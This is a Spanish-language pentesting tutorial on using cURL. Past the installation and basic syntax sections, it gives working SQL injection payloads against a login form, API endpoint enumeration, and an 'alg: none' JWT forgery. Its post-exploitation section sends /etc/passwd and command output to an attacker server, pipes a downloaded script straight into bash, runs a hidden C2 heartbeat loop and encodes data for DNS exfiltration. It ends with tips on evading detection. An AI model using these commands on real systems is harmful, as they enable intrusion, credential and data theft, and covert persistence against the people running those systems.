cURL (Client URL) es una herramienta de línea de comandos y biblioteca para transferir datos con servidores, soportando múltiples protocolos como HTTP, HTTPS, FTP, SFTP, SCP y muchos más. Es indispensable en pentesting web, automatización de ataques, exfiltración de datos y análisis de APIs.
cURL es una herramienta que permite enviar y recibir datos desde servidores usando una amplia variedad de protocolos. Su versatilidad y capacidad de scripting la convierten en una herramienta esencial para pentesters, desarrolladores y administradores de sistemas.
¿Para qué sirve?
Testing de APIs: Enviar requests HTTP con diferentes métodos y headers
Web scraping: Automatizar descargas y extracción de contenido
Bypass de restricciones: Evadir filtros y controles de acceso
Exfiltración de datos: Transferir información desde sistemas comprometidos
Automatización de ataques: Integrar en scripts de pentesting
Análisis de respuestas: Debuggear aplicaciones web y APIs
Contextos de uso en ciberseguridad
graph TD
A[cURL en Ciberseguridad] --> B[Pentesting Web]
A --> C[API Testing]
A --> D[Data Exfiltration]
A --> E[Automation]
B --> B1[SQL Injection]
B --> B2[XSS Testing]
B --> B3[Authentication Bypass]
C --> C1[Endpoint Discovery]
C --> C2[Parameter Fuzzing]
C --> C3[JWT Testing]
D --> D1[File Transfer]
D --> D2[Command Results]
D --> D3[Credential Harvesting]
E --> E1[Scripted Attacks]
E --> E2[Payload Delivery]
E --> E3[Post-Exploitation]
💾 Instalación
Verificar instalación
# cURL viene preinstalado en la mayoría de sistemascurl --version
Instalación en diferentes sistemas
# Ubuntu/Debiansudo apt update && sudo apt install curl# CentOS/RHEL/Fedorasudo yum install curl# o en versiones nuevassudo dnf install curl# macOS (usando Homebrew)brew install curl# Windows (usando Chocolatey)choco install curl
🖥️ Sintaxis Básica
Formato general
curl [opciones] [URL]
Uso básico
# GET request simplecurl https://example.com# Guardar respuesta en archivocurl https://example.com -o output.html# Mostrar headers de respuestacurl -I https://example.com# Seguir redirectscurl -L https://example.com
Request básico
curl https://httpbin.org/get
Este comando realiza un GET request simple y muestra la respuesta JSON con información sobre la petición.
Transferencia de archivos desde sistemas comprometidos
Envío de resultados de comandos a servidores C2
Descarga de herramientas y payloads
Comunicación con servidores de atacantes
4. Automatización de ataques
Integración en scripts de bash/python
Ataques de fuerza bruta contra formularios
Automatización de workflows de pentesting
Testing masivo de vulnerabilidades
💻 Ejemplos Prácticos
Ejemplo 1: Testing de SQL Injection en formulario de login
# Test básico de SQL injectioncurl -X POST -d "username=admin' OR '1'='1&password=test" \ -H "Content-Type: application/x-www-form-urlencoded" \ https://vulnerable-app.com/login# Test con time-based SQL injectioncurl -X POST -d "username=admin' AND (SELECT SLEEP(5))--&password=test" \ -H "Content-Type: application/x-www-form-urlencoded" \ -w "Time: %{time_total}s\n" \ https://vulnerable-app.com/login# Test con diferentes payloadsfor payload in "admin' OR '1'='1" "admin' UNION SELECT 1,2,3--" "admin'; DROP TABLE users--"; do echo "Testing payload: $payload" curl -s -X POST -d "username=$payload&password=test" \ -H "Content-Type: application/x-www-form-urlencoded" \ https://vulnerable-app.com/login | grep -i "error\|success\|welcome"done
Explicación
Este ejemplo demuestra testing de SQL injection:
Primer comando: Prueba un payload básico de bypass de autenticación
Segundo comando: Testing de time-based injection midiendo el tiempo de respuesta
Tercer comando: Automatiza el testing con múltiples payloads
La opción -w "Time: %{time_total}s\n" muestra el tiempo total de la request, útil para detectar time-based attacks.
Ejemplo 2: API enumeration y JWT token testing
# Descubrir endpoints de APIendpoints=("users" "admin" "config" "debug" "api/v1" "api/v2")base_url="https://api.target.com"for endpoint in "${endpoints[@]}"; do echo "Testing endpoint: /$endpoint" response=$(curl -s -w "%{http_code}" -o /dev/null "$base_url/$endpoint") echo "Status: $response" # Si encontramos un endpoint válido, probamos diferentes métodos if [[ $response == "200" ]]; then echo "Found valid endpoint: $endpoint" for method in GET POST PUT DELETE PATCH; do status=$(curl -s -w "%{http_code}" -o /dev/null -X $method "$base_url/$endpoint") echo " $method: $status" done fidone# Testing JWT token manipulationjwt_token="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"# Test con token válidocurl -H "Authorization: Bearer $jwt_token" \ -H "Content-Type: application/json" \ https://api.target.com/profile# Test con token manipulado (cambiar algoritmo a none)manipulated_token="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ."curl -H "Authorization: Bearer $manipulated_token" \ -H "Content-Type: application/json" \ https://api.target.com/admin
Explicación
Este ejemplo muestra enumeración de APIs y testing de JWT:
Primera parte: Automatiza el descubrimiento de endpoints probando diferentes rutas
Para endpoints válidos: Prueba diferentes métodos HTTP para ver qué está permitido
Testing JWT: Prueba manipulación de tokens JWT cambiando el algoritmo a “none”
La opción -w "%{http_code}" obtiene solo el código de respuesta HTTP, útil para automatización.
Ejemplo 3: Post-explotación y exfiltración de datos
# Exfiltrar archivo del sistema comprometido# En el sistema comprometido:curl -X POST -F "file=@/etc/passwd" \ -H "User-Agent: Mozilla/5.0 (compatible; UpdateChecker)" \ https://attacker-server.com/upload# Enviar output de comandos vía POSTcommand_output=$(ps aux | head -20)curl -X POST -d "data=$(echo "$command_output" | base64)" \ -H "Content-Type: application/x-www-form-urlencoded" \ https://attacker-server.com/receive# Descarga silenciosa de herramientascurl -s https://attacker-server.com/tools/linpeas.sh | bash# Establecer comunicación persistente (heartbeat)while true; do hostname=$(hostname) uptime=$(uptime) curl -s -X POST \ -d "host=$hostname&status=$uptime×tamp=$(date +%s)" \ https://attacker-server.com/heartbeat sleep 300 # Cada 5 minutosdone &# Exfiltración de datos por DNS (si HTTP está bloqueado)data="sensitive_data_here"encoded_data=$(echo "$data" | base64 | tr -d '\n' | tr '+/' '-_')curl -s "https://dns-exfil.$encoded_data.attacker-domain.com" > /dev/null
Explicación
Este ejemplo muestra técnicas de post-explotación:
Exfiltración de archivos: Envía archivos sensibles como /etc/passwd al servidor del atacante
Envío de output: Codifica en base64 la salida de comandos para enviarla
Descarga de herramientas: Descarga y ejecuta scripts de enumeración directamente
Heartbeat: Mantiene comunicación periódica con el servidor C2
DNS exfiltration: Método alternativo cuando HTTP está bloqueado
Usar User-Agent personalizado ayuda a evadir detección básica.
💡 Tips y Buenas Prácticas
Optimización y evasión
graph TD
A[Optimización cURL] --> B[Velocidad]
A --> C[Stealth]
A --> D[Confiabilidad]
B --> B1[Conexiones paralelas]
B --> B2[Timeouts apropiados]
B --> B3[Keep-alive]
C --> C1[User-Agent realista]
C --> C2[Headers comunes]
C --> C3[Timing aleatorio]
D --> D1[Manejo de errores]
D --> D2[Retry logic]
D --> D3[Logging detallado]
Mejores prácticas para pentesting
Evasión de detección:
Usar User-Agents realistas: -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"